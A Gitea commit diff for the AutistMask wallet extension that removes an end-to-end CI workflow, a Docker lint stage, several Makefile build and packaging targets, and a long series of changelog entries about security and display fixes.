Compare commits
1 Commits
main
...
d2d53b8028
| Author | SHA1 | Date | |
|---|---|---|---|
| d2d53b8028 |
@@ -4,4 +4,3 @@
|
||||
node_modules
|
||||
.DS_Store
|
||||
dist
|
||||
release
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
name: e2e
|
||||
on: [push]
|
||||
|
||||
# The browser end-to-end suites, one job per browser, deliberately kept out
|
||||
# of the check workflow: REPO_POLICIES.md caps make test at 20 seconds and
|
||||
# script/cibuild is a plain `docker build .` whose Dockerfile runs
|
||||
# make check, so folding a browser suite into either would blow that cap
|
||||
# and slow the local fast path. Before this workflow every browser-level
|
||||
# guarantee in this repo held only when a human remembered to run it.
|
||||
#
|
||||
# One job per browser rather than two steps in one job, so a Chrome failure
|
||||
# does not hide the Firefox result.
|
||||
#
|
||||
# Each job is one script and nothing else. Both scripts need docker and
|
||||
# nothing else — they deliver the repo to the daemon as a build context and
|
||||
# build the extension inside the pinned image — which is what makes them
|
||||
# runnable here at all: the runner executes the job in a container against
|
||||
# the host's docker socket, so a `-v "$PWD:/work"` source path is resolved
|
||||
# by the host daemon and mounts an empty directory, and the runner image's
|
||||
# node is too old to install this repo's dependencies.
|
||||
#
|
||||
# These jobs REPORT, they do not gate. Whether a check blocks a merge is
|
||||
# Gitea branch protection, which this repo does not configure, so a failure
|
||||
# here is a red mark a reviewer has to account for rather than a hard
|
||||
# block. Making e2e-chrome a required check is blocked on the measured
|
||||
# flake in the dApp signing wait -- two of six runs of unmutated code on a
|
||||
# loaded machine -- tracked as
|
||||
# https://git.eeqj.de/sneak/AutistMask/issues/287. A gate that fails at
|
||||
# random teaches people to merge past red.
|
||||
#
|
||||
# Nothing here may pass vacuously. There is no continue-on-error and no
|
||||
# `|| true`. Both scripts exit non-zero when docker is missing, when the
|
||||
# image build fails, and when the browser fails to start; the Chrome
|
||||
# harness aborts the suite outright if its network interception is not in
|
||||
# effect.
|
||||
jobs:
|
||||
e2e-chrome:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# actions/checkout v4.2.2, 2026-02-22
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
|
||||
- run: script/test-e2e
|
||||
|
||||
e2e-firefox:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# actions/checkout v4.2.2, 2026-02-22
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
|
||||
- run: script/test-e2e-firefox
|
||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -23,9 +23,6 @@ node_modules/
|
||||
# Build output
|
||||
dist/
|
||||
|
||||
# Release artifacts (make package). Derived from dist/, never committed.
|
||||
release/
|
||||
|
||||
# Yarn
|
||||
.yarn-integrity
|
||||
package-lock.json
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
node_modules/
|
||||
yarn.lock
|
||||
dist/
|
||||
release/
|
||||
.claude/
|
||||
|
||||
27
Dockerfile
27
Dockerfile
@@ -1,21 +1,8 @@
|
||||
# node:22-slim (22.x LTS), 2026-02-24
|
||||
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36 AS base
|
||||
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Marks "already inside the lint container" for script/lint, which otherwise
|
||||
# shells out to docker to build the lint stage below. Nothing outside this
|
||||
# image sets it.
|
||||
ENV AUTISTMASK_LINT_NATIVE=1
|
||||
|
||||
# script/test's default 30s bound is the host figure, against a suite that
|
||||
# runs in about 8s there. In here the same suite starts on a cold jest cache
|
||||
# and shares the runner with the rest of the build, so 30s is marginal rather
|
||||
# than a bound — it killed a healthy suite at 30.6s on a cold CI cache. 180s
|
||||
# still catches a hang in three minutes and cannot be tripped by a suite that
|
||||
# is merely running on contended hardware.
|
||||
ENV AUTISTMASK_TEST_TIMEOUT=180
|
||||
|
||||
# script/bootstrap installs all prerequisites (make via apt here; node
|
||||
# is already in the base image, yarn comes via corepack) and runs
|
||||
# yarn install --frozen-lockfile. Dependency manifests are copied first
|
||||
@@ -26,17 +13,5 @@ RUN script/bootstrap
|
||||
|
||||
COPY . .
|
||||
|
||||
# Lint stage — fail fast on static analysis and formatting, before the tests
|
||||
# and the build. This is also the stage script/lint builds from a host, which
|
||||
# is how linting stays on the pinned ESLint rather than the host's.
|
||||
FROM base AS lint
|
||||
RUN make lint
|
||||
|
||||
# Full check and build. The COPY --from is a no-op file copy whose only job is
|
||||
# to make BuildKit finish the lint stage before this one starts; without it the
|
||||
# stages run in parallel and a lint failure would not fail the build early.
|
||||
FROM base AS check
|
||||
COPY --from=lint /app/package.json /dev/null
|
||||
|
||||
RUN make check
|
||||
RUN make build
|
||||
|
||||
9
LICENSE
9
LICENSE
@@ -682,14 +682,7 @@ under their own licenses. They are NOT covered by the GPL-3.0 license above.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
File: src/shared/phishingBlocklist.json
|
||||
Source: the eth-phishing-detect community blocklist (src/config.json).
|
||||
The file here is derived from it, not a copy of it: only the
|
||||
blacklist is carried over, and each entry is stored as a truncated
|
||||
digest rather than a domain name. script/vendor-blocklist records
|
||||
the exact upstream URL, the commit it is pinned to and the hash of
|
||||
the bytes that commit serves, and is what regenerates this file.
|
||||
The URL previously cited here, under a different organisation,
|
||||
returns 404: that repository is gone.
|
||||
Source: https://github.com/AugurProject/eth-phishing-detect (config.json)
|
||||
Copyright: Copyright (c) 2018 kumavis
|
||||
License: Don't Be a Dick Public License (DBAD), Version 1.2
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
70
Makefile
70
Makefile
@@ -1,4 +1,4 @@
|
||||
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
|
||||
.PHONY: bootstrap setup install test test-e2e lint fmt fmt-check check docker hooks build build-debug verify-build clean dev
|
||||
|
||||
# Standard targets are thin shims; the implementations live in script/
|
||||
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
||||
@@ -16,13 +16,10 @@ install:
|
||||
test:
|
||||
@script/test
|
||||
|
||||
# Browser end-to-end suites. Both require docker; neither is part of check.
|
||||
# Browser end-to-end suite. Requires docker; not part of check.
|
||||
test-e2e:
|
||||
@script/test-e2e
|
||||
|
||||
test-e2e-firefox:
|
||||
@script/test-e2e-firefox
|
||||
|
||||
lint:
|
||||
@script/lint
|
||||
|
||||
@@ -35,77 +32,32 @@ fmt-check:
|
||||
check:
|
||||
@script/check
|
||||
|
||||
# Assert that the competitor name appears nowhere but its documented
|
||||
# exceptions. Part of check, and re-run against dist/ at the end of a build;
|
||||
# separate target for re-running it alone.
|
||||
check-censored:
|
||||
@script/check-censored
|
||||
|
||||
package:
|
||||
@script/package
|
||||
|
||||
docker:
|
||||
@script/docker
|
||||
|
||||
hooks:
|
||||
@script/install-precommit
|
||||
|
||||
# build.js writes a receipt of everything it emitted — every path, its sha256,
|
||||
# and whether it is a bundle containing constants.js — and script/verify-build
|
||||
# checks dist/ against that. The receipt is made here, fresh per invocation,
|
||||
# outside the repo, and deleted again: a standing file inside dist/ would be
|
||||
# rewritten by whoever rewrote dist/, which is what made the old check
|
||||
# satisfiable by a hand-written tree.
|
||||
#
|
||||
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
|
||||
# from the verifier's environment. The script no longer reads it at all; env -u
|
||||
# is here so that stays true of anything it calls. It is deliberately NOT
|
||||
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
|
||||
# compiles a debug bundle and then fails on it, loudly, rather than quietly
|
||||
# handing back something other than the release build that was asked for.
|
||||
#
|
||||
# Every step of this target is wrapped in script/discard-dist-on-failure, so a
|
||||
# release build that fails removes dist/ instead of leaving a complete, loadable
|
||||
# debug bundle there for whoever runs the build, sees it fail, and loads
|
||||
# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
|
||||
# deliberately not wrapped.
|
||||
build:
|
||||
@echo "Building extension..."
|
||||
@set -eu; \
|
||||
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||
script/discard-dist-on-failure \
|
||||
env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||
script/discard-dist-on-failure \
|
||||
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
|
||||
--receipt "$$receipt"
|
||||
@script/discard-dist-on-failure script/check-censored --require-dist
|
||||
@yarn run build 2>&1
|
||||
@script/verify-build
|
||||
|
||||
# Development-only build: enables the red DEBUG / INSECURE banner and makes
|
||||
# the hardcoded test recovery phrase the output of wallet creation. Never
|
||||
# distribute the artifacts this produces.
|
||||
#
|
||||
# No discard-dist-on-failure here, on purpose: a debug build that fails is not
|
||||
# producing an artifact anyone could mistake for a release one, and its dist/ is
|
||||
# the evidence of what went wrong.
|
||||
build-debug:
|
||||
@echo "Building extension (DEBUG)..."
|
||||
@set -eu; \
|
||||
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
|
||||
--receipt "$$receipt"
|
||||
@script/check-censored --require-dist
|
||||
@AUTISTMASK_DEBUG=1 yarn run build 2>&1
|
||||
@AUTISTMASK_DEBUG=1 script/verify-build
|
||||
|
||||
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
|
||||
# Run deliberately, land the diff: the extension does no runtime fetching, so
|
||||
# the shipped list is as fresh as the last vendoring run that was released.
|
||||
vendor-blocklist:
|
||||
@script/vendor-blocklist
|
||||
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
|
||||
# the end of build and build-debug; separate target for re-running it alone.
|
||||
verify-build:
|
||||
@script/verify-build
|
||||
|
||||
clean:
|
||||
@rm -rf dist/ release/
|
||||
@rm -rf dist/
|
||||
|
||||
dev:
|
||||
@echo "Building in watch mode..."
|
||||
|
||||
835
TODO.md
835
TODO.md
@@ -25,835 +25,25 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
|
||||
milestone is in flight on `next`; its `next` -> `main` PR is
|
||||
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
|
||||
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
|
||||
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
|
||||
hold exactly the regular files and symlinks that build emitted, with `DEBUG`
|
||||
`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
|
||||
compiled off.
|
||||
|
||||
The backlog lives on the
|
||||
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
|
||||
authoritative; this file does not duplicate it. Full policy file set present.
|
||||
Real-browser end-to-end suites (`make test-e2e` for Chrome,
|
||||
`make test-e2e-firefox` for Firefox) sit alongside `make check`, which now does
|
||||
static analysis as well as formatting, and `.gitea/workflows/e2e.yml` runs both
|
||||
of them on every push.
|
||||
authoritative; this file does not duplicate it. Full policy file set present. A
|
||||
real-browser end-to-end suite (`make test-e2e`) now sits alongside `make check`,
|
||||
which cannot see a runtime `ReferenceError` in a popup view.
|
||||
|
||||
# Next Step
|
||||
|
||||
Pre-1.0 security review of the extension (key handling, DEBUG mode policy, RPC
|
||||
input validation) before any 1.0rc tag. Individual filed issues are parts of it,
|
||||
but the review is broader than any of them.
|
||||
Land [#152](https://git.eeqj.de/sneak/AutistMask/issues/152): add ESLint to
|
||||
`script/lint`. `make check` is `prettier --check` only today and cannot catch
|
||||
undefined identifiers, which is how
|
||||
[#150](https://git.eeqj.de/sneak/AutistMask/issues/150) and
|
||||
[#151](https://git.eeqj.de/sneak/AutistMask/issues/151) shipped.
|
||||
|
||||
# Completed Steps
|
||||
|
||||
- 2026-08-23: Both manifests declare toolbar icons, and real PNGs at
|
||||
16/32/48/128 ship inside both archives
|
||||
([#371](https://git.eeqj.de/sneak/AutistMask/issues/371)). Neither manifest
|
||||
had an `icons` block, so both browsers drew a generic puzzle piece — the first
|
||||
thing the owner sees on every launch, and how a user tells a real extension
|
||||
from a look-alike. The sizes `build.js` copies into each browser directory are
|
||||
read out of the manifest that ships next to them rather than from a second
|
||||
list, so a declared size `icons/` does not hold fails `make build`;
|
||||
`script/lib/package.js` already resolves `.png` references, so an icon that
|
||||
reached a manifest but not the archive fails packaging. The artwork is
|
||||
original: a flat dark-navy rounded field with a teal triangular "A", drawn
|
||||
from geometry and rasterised into PNG, nothing traced or downloaded.
|
||||
- 2026-08-23: A persisted container whose ENTRIES were dereferenced unchecked no
|
||||
longer reaches a `.map()` or a `.toLowerCase()`
|
||||
([#362](https://git.eeqj.de/sneak/AutistMask/issues/362)). `allowedSites` was
|
||||
the worst shape available: a stored `{"0x…": "notalist"}` passed the gate,
|
||||
rendered a completely healthy popup, and then threw inside `saveState()`'s
|
||||
per-hostname merge, so every save from that moment on failed silently and the
|
||||
user went on operating a wallet that was persisting nothing — measured as
|
||||
`chrome.storage.local.set` never being called at all. `deniedSites` has the
|
||||
same shape, `fraudContracts` the same class with a milder consequence, and the
|
||||
sweep for the class turned up `selectedToken`, `rpcUrl` (handed whole to
|
||||
`new JsonRpcProvider()`, which throws synchronously outside any `try`), the
|
||||
entries of `viewData` (four restore branches gate on one truthy field and then
|
||||
dereference an address), and `selectedWallet`/`selectedAddress` (a stored
|
||||
`"map"` is TRUTHY against a real Array, so the restore guard does not
|
||||
short-circuit). All of them are now floored in `src/shared/persistedState.js`
|
||||
or refused by the per-branch guards in `src/popup/viewRouter.js`. Separately,
|
||||
a save that fails is no longer swallowed: `onSaveFailure()` in
|
||||
`src/shared/state.js` reports every failed save, awaited or not, and the popup
|
||||
raises a persistent "NOT SAVED" banner. The hand-written per-field
|
||||
justification in the header of `src/shared/stateSchema.js` — which had shipped
|
||||
a false claim in three consecutive changes — is replaced by
|
||||
`tests/persistedFieldContract.test.js`, one row per persisted field, each
|
||||
proven by driving the real code with hostile values — and, for a field whose
|
||||
only defence is that nothing dereferences it, by booting the real popup entry
|
||||
point over that value onto every view the popup can reopen onto, since that is
|
||||
the path this whole class of defect lives on. Each such field is driven at
|
||||
both polarities — a value nothing writes is wrong-typed and so truthy, so a
|
||||
falsy slot is driven too, or the field is proven unable to be falsy after the
|
||||
floor. The claim is narrow and stated as such: no structural dereference on
|
||||
the code paths a wholly-corrupted profile takes, which is not every path a
|
||||
stored record takes — a pairing of values the four slots do not produce, a
|
||||
view only forward navigation opens, anything behind a click, and everything a
|
||||
healthy profile reaches are all undriven. Within that boundary the verdict is
|
||||
unconditional, including a dereference that takes two corrupted fields at
|
||||
once, since the assertion is on the combined boot and the per-field re-boot
|
||||
can only decorate the message. A field with no row and a field that gains a
|
||||
floor while its row still claims it has none also fail `make check`.
|
||||
- 2026-08-23: A swap amount and the token it is counted in now always come from
|
||||
the same hop, on both sides of the approval screen
|
||||
([#359](https://git.eeqj.de/sneak/AutistMask/issues/359) and
|
||||
[#364](https://git.eeqj.de/sneak/AutistMask/issues/364), the output and input
|
||||
halves of one gate, fixed as one unit). `src/shared/uniswap.js` gated the
|
||||
token and the amount on truthiness and independently; an address is never
|
||||
falsy once set but an amount of `0n` is, so a hop supplying a zero amount
|
||||
fixed the token and left the amount open, and the next hop's figure was then
|
||||
rendered against the first hop's token at that token's scale — 0.5 WETH shown
|
||||
as `500000000000.0000 USDT`, and an earlier hop's `Min. received` shown for a
|
||||
final leg that guarantees nothing. Both sides are now set as a pair through
|
||||
explicit presence, a zero slippage floor reads `None (no minimum guaranteed)`,
|
||||
and V4's `OPEN_DELTA` (an `amountIn` of zero, which `V4Router` reads as "swap
|
||||
the whole open credit") reads `All available (V4 open delta)` instead of
|
||||
`0.0000`.
|
||||
- 2026-08-23: A swap whose input token the calldata never named is said to be
|
||||
unknown instead of being called ETH
|
||||
([#357](https://git.eeqj.de/sneak/AutistMask/issues/357)), the twin on the
|
||||
input side of [#353](https://git.eeqj.de/sneak/AutistMask/issues/353). A null
|
||||
`inputToken` rendered as `Token In: ETH (native)` and titled the swap
|
||||
`Swap ETH -> X`, asserting the user was paying native ETH when nothing in the
|
||||
calldata said so. The null-means-ETH collapse is now gone from `tokenInfo()`
|
||||
itself rather than guarded at each call site: null is refused, and native ETH
|
||||
keeps arriving as the explicit zero address that `WRAP_ETH` and V4's
|
||||
`Currency.wrap(address(0))` both use.
|
||||
- 2026-08-23: A swap whose output token the calldata never named is said to be
|
||||
unknown instead of being called ETH
|
||||
([#353](https://git.eeqj.de/sneak/AutistMask/issues/353)). `tokenInfo(null)`
|
||||
answers `{symbol: "ETH", decimals: 18}`, and a V4 step could take the
|
||||
`Min. received` figure while naming no output currency, so the approval screen
|
||||
stated the wrong asset at the wrong scale. Null is not how V4 spells native
|
||||
ETH: v4-core's `type Currency is address` wraps `address(0)` for it, which
|
||||
reaches the decoder as the truthy string
|
||||
`0x0000000000000000000000000000000000000000` and is named ETH there already.
|
||||
`Token Out` now reads `Unknown (not named in the calldata)` and
|
||||
`Min. received` falls to the base-unit refusal from
|
||||
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340).
|
||||
|
||||
- 2026-08-23: The stored profile carries a schema version, and a record the
|
||||
wallet cannot read produces a screen instead of a blank popup
|
||||
([#311](https://git.eeqj.de/sneak/AutistMask/issues/311)). `saveState()` and
|
||||
`updateState()` both stamp `STATE_SCHEMA_VERSION`
|
||||
(`src/shared/stateSchema.js`), and every read goes through
|
||||
`assertStateUsable()` on the raw bytes before normalization gets a chance to
|
||||
paper over them. Version 1 is the shape that shipped unversioned, so the
|
||||
profile every existing install holds loads normally and is migrated in place
|
||||
by being stamped on the first write — an upgrade shows nobody a wipe prompt
|
||||
for a wallet that is fine. A record this build cannot vouch for is refused
|
||||
instead: not normalized, not written back, not half-loaded. The popup shows
|
||||
the new StateRecovery screen, which names the problem, exports the raw record
|
||||
verbatim into the page (and downloads it where the browser allows), and offers
|
||||
an erase behind a typed `ERASE MY WALLET` — both controls, because an export
|
||||
with no reset leaves the user stuck and a reset with no export destroys the
|
||||
only copy of possibly recoverable key material. The background refuses the
|
||||
same record and answers dApps `-32007` — a code EIP-1474 leaves unassigned,
|
||||
unlike `-32000`..`-32006` — with a message saying the saved data cannot be
|
||||
read and that nothing was signed or sent, rather than the generic `-32603`
|
||||
that every request used to get. Fields the gate deliberately does not check
|
||||
produced the same blank popup on their own: `trackedTokens` and
|
||||
`activeAddress` were floored on truthiness rather than on type, and
|
||||
`trackedTokens`' ENTRIES and each address's `tokenBalances` were not floored
|
||||
at all — `[1, 2]` is a list, and the dereference is `t.address.toLowerCase()`
|
||||
one level below the container. All of them are type-checked now, entries
|
||||
included, and the header of `src/shared/stateSchema.js` lists which fields of
|
||||
the record get a type check and which get a `saved.x || default` or a verbatim
|
||||
passthrough, rather than asserting a rule the module does not follow.
|
||||
`networkById()` now throws on an id it does not know instead of quietly
|
||||
answering mainnet, and the gate's key tests are all own-property tests:
|
||||
`networkId` is an object key into `networkEndpoints`, so an unvalidated
|
||||
`"__proto__"` used to set that map's prototype and drop the user's endpoint
|
||||
silently. The three corrupt blobs from the issue drive the real popup entry
|
||||
point in `tests/stateRecovery.test.js` and the real worker in
|
||||
`tests/stateUnusableRpc.test.js`; each rendered nothing at all and answered
|
||||
`-32603` before this. `src/popup/restorableViews.js` moved to
|
||||
`src/shared/restorableViews.js`, since `persistedState.js` requires it and
|
||||
that module is in the background bundle.
|
||||
|
||||
- 2026-08-23: An explorer that reports no `decimals` for a token no longer has a
|
||||
scale invented for it before storage
|
||||
([#349](https://git.eeqj.de/sneak/AutistMask/issues/349)).
|
||||
`fetchTokenBalances()` did `parseInt(item.token.decimals || "18", 10)` on the
|
||||
way in, so a token whose `decimals()` reverts was written to
|
||||
`tokenBalances[].decimals` as a fabricated `18` that no reader could tell from
|
||||
a real one. That is upstream of the resolve-or-refuse rule
|
||||
([#306](https://git.eeqj.de/sneak/AutistMask/issues/306),
|
||||
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340)): both approval paths
|
||||
read this stored value as an authoritative source, so the guess walked past
|
||||
refusals that were intact and simply never fired. The stored value is now the
|
||||
explorer's own answer or `null`, and both the ERC-20 amount line and the swap
|
||||
lines reach `unknownDecimalsAmount()` on it. The history list's token
|
||||
transfers carried the same `|| "18"` and now state base units with the scale
|
||||
unknown rather than a quantity. A holding whose scale nothing knows carries
|
||||
`balance: null` — unknown, not zero — and the balance list, the USD total, the
|
||||
Send screen and the confirmation screen each say so instead of printing
|
||||
`0.0000` for money that is really there. The uint8 check is one shared
|
||||
`toDecimals()` rather than three copies, and it answers `0` for a real scale
|
||||
of zero: `|| "18"` collapsed that to eighteen, the trap of
|
||||
[#246](https://git.eeqj.de/sneak/AutistMask/issues/246). Existing installs
|
||||
hold `18`s that cannot be told apart retroactively; they display exactly as
|
||||
they do today until the next balance refresh, which rewrites `tokenBalances`
|
||||
wholesale and needs no user action. No `|| 18` or `?? 18` fallback remains
|
||||
anywhere in `src/`; the literal `18`s that do remain are real data, not
|
||||
defaults — 432 per-token `decimals: 18` entries in the bundled
|
||||
`src/shared/tokenList.js`, and, outside that file, only native ETH's
|
||||
protocol-defined scale in `src/shared/uniswap.js` and the fixed-point
|
||||
comparison scale in `src/shared/txValidation.js`. `tokenBalances[].decimals`
|
||||
is the explorer's answer alone and not the scale a screen renders at, so the
|
||||
Send screen resolves through `resolveTokenDecimals()` like every other
|
||||
consumer: reading the stored field raw carried a `null` into `estimateGas()`
|
||||
for a bundled token such as WETH, which reported an unestimable network fee
|
||||
and left Send disabled behind a message no retry could clear. Send resolves
|
||||
with `wallets`, which adds the cross-address disagreement check the balance
|
||||
list does not make, so the two can differ; where they do, the stored quantity
|
||||
was computed at a scale Send has refused, and it is withdrawn with it. An
|
||||
unknown scale is an unknown balance, and the user is told that rather than
|
||||
that the fee could not be estimated.
|
||||
|
||||
- 2026-08-23: The background no longer reads or writes the shared `state`
|
||||
singleton ([#324](https://git.eeqj.de/sneak/AutistMask/issues/324)), which
|
||||
also closes the cold-worker wrong-chain send
|
||||
([#320](https://git.eeqj.de/sneak/AutistMask/issues/320)). One in-memory copy
|
||||
loaded once is the popup's lifetime, not the MV3 worker's: the worker is
|
||||
killed when idle, nothing loaded state at module scope, and an unpopulated
|
||||
read was answered out of `DEFAULT_STATE` in silence. Five defects traced to
|
||||
that, and every point fix added a `loadState()` that created the next one — a
|
||||
load detaches the objects an in-flight handler is holding. The background now
|
||||
has its own storage layer (`src/background/state.js`): `getState()` for a
|
||||
detached per-call read, `updateState()` for a queued read-modify-write.
|
||||
`backgroundRefresh()` refreshes a private copy and applies the balances that
|
||||
came back by address, so a wallet added, renamed or deleted during the round
|
||||
trip survives. The transaction attempt takes its chain id and its endpoint
|
||||
from one snapshot, so a committed chain switch can no longer move the endpoint
|
||||
under an artifact already verified against the old chain. `getProvider()` now
|
||||
REQUIRES the network id, which is what closes
|
||||
[#320](https://git.eeqj.de/sneak/AutistMask/issues/320) at the shape rather
|
||||
than at the call site. The prohibition is enforced by `build.js`, which fails
|
||||
the build when esbuild's own metafile reports `src/shared/state.js` as an
|
||||
input of either background bundle — the resolution the shipped bundle was
|
||||
actually built from, so no specifier syntax and no resolution rule can slip
|
||||
past it, and `make build` runs in CI. A bundled entry point under
|
||||
`src/background/` with no line in the table fails the build too, so a second
|
||||
worker entry point is protected by default rather than only if whoever adds it
|
||||
knows the table exists. The assertion itself is pinned by
|
||||
`tests/buildForbiddenInputs.test.js`, including every way its table can rot: a
|
||||
key no bundled entry point matched, a forbidden module this build bundled
|
||||
nowhere, and an entry that lists no modules (which would otherwise empty the
|
||||
lint rule's forbidden set as well, and is refused at require time). Its bound
|
||||
is that it is keyed by path, so a COPY of the singleton at another path is
|
||||
outside it — loud for three of the five defects and silent for the other two;
|
||||
the bounds are recorded in full where the table lives
|
||||
(`script/lib/forbiddenBundleInputs.js`). An ESLint rule that walks the require
|
||||
graph textually gives the same answer in the editor, before a full bundle; it
|
||||
reads the same table, and it is fast feedback rather than the guarantee. The
|
||||
shapes it catches are pinned by `tests/backgroundStateLintRule.test.js`, and
|
||||
so are the two it misses — a computed specifier and a symlink — as asserted
|
||||
non-reports, which the build fails on. Reading an unloaded singleton now
|
||||
throws `StateNotLoadedError` instead of serving defaults. The
|
||||
`chrome.storage.local` stubs in eight test files aliased instead of
|
||||
structured-cloning, which could let an assertion pass on a build that never
|
||||
wrote anything; every test that drives real persistence now goes through
|
||||
`tests/support/storageStub.js`.
|
||||
- 2026-08-23: A swap always names its output token
|
||||
([#346](https://git.eeqj.de/sneak/AutistMask/issues/346)). The `Token Out`
|
||||
detail line in `src/shared/uniswap.js` was pushed only when a symbol was
|
||||
known, so a swap whose output token is absent from the bundled list — every
|
||||
newly listed token — showed a `Min. received` figure with nothing saying what
|
||||
was being received. The line is now keyed on the token's address and falls
|
||||
back to it when there is no symbol, exactly as the `Token In` line already
|
||||
did. It composes with the unknown-scale refusal from
|
||||
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340): the address says
|
||||
which token, the base-unit figure says how much and states that the scale is
|
||||
unknown.
|
||||
- 2026-08-23: The swap approval screen no longer guesses 18 decimals for a token
|
||||
outside the bundled list
|
||||
([#340](https://git.eeqj.de/sneak/AutistMask/issues/340)). `tokenInfo()` in
|
||||
`src/shared/uniswap.js` returned `decimals: 18` for any such token — the same
|
||||
assumption [#306](https://git.eeqj.de/sneak/AutistMask/issues/306) removed
|
||||
from the ERC-20 amount line — so a 1,000-unit swap of a 6-decimal token was
|
||||
stated as `0.000000001`, and every newly listed token reached it. The swap's
|
||||
`Amount` and `Min. received` lines now resolve the scale through
|
||||
`resolveTokenDecimals()`, the same bundled-list-then-tracked-then-explorer
|
||||
order the ERC-20 line uses, and where nothing knows it they render
|
||||
`unknownDecimalsAmount()` — base units with the scale stated — instead of a
|
||||
number. No new data source and no network call: the scale comes only from what
|
||||
the wallet already holds. An unbounded permit is still shown as `Unlimited`.
|
||||
`README.md` records the rule as a Display Consistency exception.
|
||||
- 2026-08-23: A failed release build no longer leaves a loadable debug bundle in
|
||||
`dist/` ([#333](https://git.eeqj.de/sneak/AutistMask/issues/333)). With
|
||||
`AUTISTMASK_DEBUG=1` exported, `make build` compiled a debug bundle and failed
|
||||
on it in `script/verify-build` — but the bundle stayed on disk, loadable, with
|
||||
every wallet it creates using the publicly committed test recovery phrase.
|
||||
Every step of `make build` now runs through `script/discard-dist-on-failure`,
|
||||
which removes `dist/` when a step fails and says on stderr that it did and
|
||||
why; a removal it cannot complete is reported just as loudly.
|
||||
`make build-debug` is deliberately not wrapped: its output is not mistakable
|
||||
for a release build and is the evidence of the failure.
|
||||
`script/test-verify-build` asserts the state of `dist/` on disk after a
|
||||
failing and a succeeding step, not just the exit status, and reads `make -n`
|
||||
to check the wrapper is on the release path and only there.
|
||||
- 2026-08-23: `README.md` and `script/verify-build`'s own comments now state the
|
||||
emitted-tree guarantee at the width the code actually enforces
|
||||
([#331](https://git.eeqj.de/sneak/AutistMask/issues/331)). The tree walk is
|
||||
`-type f -o -type l`, so the guarantee covers regular files and symlinks under
|
||||
`dist/`; fifos, sockets, device nodes and empty directories are not checked,
|
||||
because a build emits none of them, none can carry a shippable payload, and
|
||||
`grep` on a fifo would hang rather than fail. The exclusion is deliberate and
|
||||
unchanged — the README said "nothing under `dist/` that the build did not
|
||||
write", which was broader than that. Documentation only; no executable line
|
||||
changed.
|
||||
- 2026-08-23: An amount below the 4-decimal display floor no longer reads as
|
||||
zero on the approval screens
|
||||
([#322](https://git.eeqj.de/sneak/AutistMask/issues/322)). With the token's
|
||||
true scale resolved, the 4-decimal truncation still printed a small amount as
|
||||
`0.0000` — 1 base unit of an 18-decimal token, 500 of an 8-decimal one — so a
|
||||
real transfer, allowance or swap was stated as nothing on the one screen whose
|
||||
job is to say what is being authorized, and a swap's `Min. received` claimed
|
||||
the user might receive nothing. Three copies of that truncation existed; they
|
||||
now share `src/shared/amountDisplay.js`. Everything the approval and
|
||||
confirmation screens render (`src/popup/views/approval.js`,
|
||||
`src/shared/uniswap.js`) extends to the first significant digit when the
|
||||
truncated figure would otherwise read as zero, keeping the amount in token
|
||||
units rather than switching to base units mid-line. The history and balance
|
||||
lists (`src/shared/transactions.js`) keep the unfloored rule, which is out of
|
||||
scope by the issue's definition of done. `README.md`'s Display Consistency
|
||||
section records the exception.
|
||||
- 2026-08-23: The extension can be installed once and kept
|
||||
([#310](https://git.eeqj.de/sneak/AutistMask/issues/310)). There was no
|
||||
packaging target anywhere, no artifact, and `manifest/chrome.json` carried no
|
||||
`key` — so an unpacked Chrome load derived its extension id, and therefore its
|
||||
`chrome.storage.local` partition, from the absolute checkout path: moving or
|
||||
re-cloning the checkout presented an empty wallet with no error. The manifest
|
||||
now carries a fixed `key` (public half only; the private half is a credential
|
||||
and is not in this repo, and no target generates one into the tree), pinning
|
||||
the id to `gipbhkogfopeahplcjhipkgpcimdpkip`. `make package` produces
|
||||
`release/autistmask-chrome-<version>.zip` and
|
||||
`release/autistmask-firefox-<version>.xpi` plus `SHA256SUMS`,
|
||||
deterministically and via `make build` so the archives can only be made from a
|
||||
`dist/` already verified against that build's receipt as a release build;
|
||||
every path the manifests and the popup HTML reference is resolved and required
|
||||
to be inside the archive, and the archive is read back off disk and compared
|
||||
